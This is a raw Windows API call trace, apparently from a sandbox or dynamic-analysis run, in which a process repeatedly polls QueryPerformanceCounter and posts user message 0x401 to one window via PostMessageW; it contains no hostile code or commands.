[0209.299] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014404183999) returned 1
[0209.315] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014405750636) returned 1
[0209.315] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014405795548) returned 1
[0209.331] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014407399107) returned 1
[0209.332] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014407428683) returned 1
[0209.347] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014408948149) returned 1
[0209.347] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014408973566) returned 1
[0209.363] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014410547660) returned 1
[0209.363] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014410573771) returned 1
[0209.379] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014412148916) returned 1
[0209.379] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014412174878) returned 1
[0209.395] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014413748801) returned 1
[0209.395] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014413774793) returned 1
[0209.411] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014415350399) returned 1
[0209.411] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014415376735) returned 1
[0209.427] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014416957483) returned 1
[0209.427] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014416983854) returned 1
[0209.443] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014418552072) returned 1
[0209.443] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014418578700) returned 1
[0209.459] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014420203148) returned 1
[0209.460] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014420233964) returned 1
[0209.476] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014421865519) returned 1
[0209.476] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014421892710) returned 1
[0210.146] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014488839728) returned 1
[0210.146] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014488860236) returned 1
[0210.199] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014494153729) returned 1
[0210.199] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014494180069) returned 1
[0210.200] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014494239602) returned 1
[0210.200] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014494257847) returned 1
[0210.209] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014495154531) returned 1
[0210.209] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014495182670) returned 1
[0210.225] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014496752290) returned 1
[0210.225] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014496777447) returned 1
[0210.249] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014499199341) returned 1
[0210.250] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014499219699) returned 1
[0210.257] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014499940561) returned 1
[0210.257] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014499969281) returned 1
[0210.450] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014519233571) returned 1
[0210.450] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014519254390) returned 1
[0210.463] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014520522696) returned 1
[0210.463] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014520546689) returned 1
[0210.479] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014522123249) returned 1
[0210.479] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014522139553) returned 1
[0210.495] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014523721030) returned 1
[0210.495] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014523736831) returned 1
[0210.511] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014525341399) returned 1
[0210.511] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014525403594) returned 1
[0210.527] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014526943366) returned 1
[0210.527] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014526968193) returned 1
[0210.543] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014528544781) returned 1
[0210.543] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014528571662) returned 1
[0210.559] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014530152440) returned 1
[0210.559] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014530173780) returned 1
[0210.574] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014531708134) returned 1
[0210.575] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014531730773) returned 1
[0210.590] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014533292430) returned 1
[0210.591] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014533330854) returned 1
[0210.606] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014534875281) returned 1
[0210.606] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014534891991) returned 1
[0210.622] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014536475632) returned 1
[0210.622] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014536492392) returned 1
[0210.638] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014538070199) returned 1
[0210.638] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014538086655) returned 1
[0210.654] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014539672551) returned 1
[0210.654] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014539688806) returned 1
[0210.670] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014541271332) returned 1
[0210.670] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014541288043) returned 1
[0210.686] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014542881035) returned 1
[0210.686] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014542896311) returned 1
[0210.703] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014544520711) returned 1
[0210.703] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014544537666) returned 1
[0210.722] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014546454517) returned 1
[0210.722] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014546469280) returned 1
[0210.734] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014547675997) returned 1
[0210.734] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014547691390) returned 1
[0210.751] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014549312600) returned 1
[0210.751] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014549330800) returned 1
[0210.766] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014550861540) returned 1
[0210.766] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014550901829) returned 1
[0210.782] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014552425566) returned 1
[0210.782] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014552447626) returned 1
[0210.798] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014554006015) returned 1
[0210.798] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014554021109) returned 1
[0210.814] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014555607972) returned 1
[0210.814] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014555622843) returned 1
[0210.832] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014557501768) returned 1
[0210.833] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014557519212) returned 1
[0210.848] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014559098047) returned 1
[0210.849] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014559118722) returned 1
[0210.866] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014560827352) returned 1
[0210.866] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014560852842) returned 1
[0210.882] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014562412565) returned 1
[0210.882] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014562437898) returned 1
[0210.898] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014564012224) returned 1
[0210.898] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0210.898] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d1f6ba, lParam=0x3d09) returned 1
[0210.898] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014564055670) returned 1
[0210.914] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014565642571) returned 1
[0210.914] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0210.914] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d23669, lParam=0x3d09) returned 1
[0210.914] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014565686340) returned 1
[0210.930] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014567294376) returned 1
[0210.931] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0210.931] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d276ef, lParam=0x3d09) returned 1
[0210.931] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014567339437) returned 1
[0210.946] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014568885516) returned 1
[0210.946] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0210.947] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d2b517, lParam=0x3d09) returned 1
[0210.947] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014568951210) returned 1
[0210.962] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014570449901) returned 1
[0210.962] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0210.962] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d2f233, lParam=0x3d09) returned 1
[0210.962] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014570495882) returned 1
[0210.978] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014572052408) returned 1
[0210.978] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0210.978] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d330cc, lParam=0x3d09) returned 1
[0210.978] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014572098509) returned 1
[0210.994] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014573649171) returned 1
[0210.994] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0210.994] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d36f2b, lParam=0x3d09) returned 1
[0210.994] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014573700306) returned 1
[0211.010] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014575250355) returned 1
[0211.010] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.010] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d3adb7, lParam=0x3d09) returned 1
[0211.010] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014575299897) returned 1
[0211.026] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014576850146) returned 1
[0211.026] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.026] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d3ec35, lParam=0x3d09) returned 1
[0211.026] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014576896927) returned 1
[0211.042] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014578451533) returned 1
[0211.042] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.042] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d42ac3, lParam=0x3d09) returned 1
[0211.042] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014578495865) returned 1
[0211.058] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014580030678) returned 1
[0211.058] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.058] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d46872, lParam=0x3d09) returned 1
[0211.058] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014580075985) returned 1
[0211.074] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014581626798) returned 1
[0211.074] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.074] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d4a6cb, lParam=0x3d09) returned 1
[0211.074] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014581673078) returned 1
[0211.090] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014583241796) returned 1
[0211.090] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.090] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d4e5e1, lParam=0x3d09) returned 1
[0211.090] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014583291631) returned 1
[0211.106] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014584830451) returned 1
[0211.106] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.106] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d523f0, lParam=0x3d09) returned 1
[0211.106] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014584877789) returned 1
[0211.122] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014586407705) returned 1
[0211.122] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.122] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d5618d, lParam=0x3d09) returned 1
[0211.122] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014586452126) returned 1
[0211.138] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014588013387) returned 1
[0211.138] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.138] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d5a045, lParam=0x3d09) returned 1
[0211.138] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014588058453) returned 1
[0211.154] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014589608209) returned 1
[0211.154] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.154] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d5de92, lParam=0x3d09) returned 1
[0211.154] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014589653059) returned 1
[0211.170] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014591225742) returned 1
[0211.170] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.170] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d61dc1, lParam=0x3d09) returned 1
[0211.170] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014591271270) returned 1
[0211.186] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014592809254) returned 1
[0211.186] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.186] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d65b9c, lParam=0x3d09) returned 1
[0211.186] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014592855677) returned 1
[0211.202] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014594407871) returned 1
[0211.202] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.202] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d69a0e, lParam=0x3d09) returned 1
[0211.202] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014594467021) returned 1
[0211.218] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014596086092) returned 1
[0211.218] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.219] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d6db9c, lParam=0x3d09) returned 1
[0211.219] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014596125593) returned 1
[0211.234] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014597659934) returned 1
[0211.234] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.234] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d71917, lParam=0x3d09) returned 1
[0211.235] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014597711628) returned 1
[0211.250] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014599253165) returned 1
[0211.250] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.250] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d75753, lParam=0x3d09) returned 1
[0211.250] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014599300861) returned 1
[0211.281] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014602357812) returned 1
[0211.281] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.281] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d7d09a, lParam=0x3d09) returned 1
[0211.282] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014602408238) returned 1
[0211.282] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014602464120) returned 1
[0211.282] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.282] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d7d4c1, lParam=0x3d09) returned 1
[0211.283] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014602507538) returned 1
[0211.298] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014604050759) returned 1
[0211.298] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.298] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d812bb, lParam=0x3d09) returned 1
[0211.298] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014604099675) returned 1
[0211.314] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014605685072) returned 1
[0211.314] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.315] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d85292, lParam=0x3d09) returned 1
[0211.315] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014605732031) returned 1
[0211.330] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014607253661) returned 1
[0211.330] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.330] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d88fd8, lParam=0x3d09) returned 1
[0211.331] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014607320001) returned 1
[0211.346] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014608855390) returned 1
[0211.346] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.346] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d8ce69, lParam=0x3d09) returned 1
[0211.346] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014608901238) returned 1
[0211.362] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014610459636) returned 1
[0211.362] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.362] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d90d14, lParam=0x3d09) returned 1
[0211.363] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014610505384) returned 1
[0211.378] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014612051780) returned 1
